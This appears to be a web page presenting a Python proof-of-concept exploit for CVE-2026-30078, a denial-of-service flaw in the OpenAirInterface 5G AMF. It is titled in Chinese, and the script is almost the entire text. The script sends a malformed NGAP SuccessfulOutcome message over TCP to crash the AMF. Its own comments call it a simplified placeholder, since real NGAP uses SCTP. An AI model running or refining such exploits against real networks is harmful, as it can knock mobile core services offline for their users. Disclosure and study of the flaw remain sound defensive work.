CVE-2026-30078 OpenAirInterface AMF拒绝服务漏洞

import socket import struct # This PoC demonstrates sending a malformed NGAP message to trigger the crash. # Note: Real NGAP runs over SCTP, this is a simplified TCP/Socket representation. TARGET_IP = "192.168.1.100" TARGET_PORT = 38412 # Typical AMF SCTP port (example using TCP for simplicity) def create_malformed_ngap(): # NGAP Message PDU type for SuccessfulOutcome is 1 (binary) # InitiatingMessage is 0. # The vulnerability occurs when the process expects 0 but receives 1. # This is a placeholder for the actual ASN.1 encoded structure. # NGAP PDU structure (simplified) pdu_type_successful_outcome = 0b00000001 # Construct a raw byte stream mimicking a SuccessfulOutcome message # where an InitiatingMessage is expected. payload = struct.pack('>B', pdu_type_successful_outcome) payload += b"\x00" * 10 # Padding to simulate message length return payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) payload = create_malformed_ngap() print(f"[*] Sending malformed NGAP message (Length: {len(payload)})...") s.send(payload) print("[*] Exploit sent. Check if AMF crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_exploit()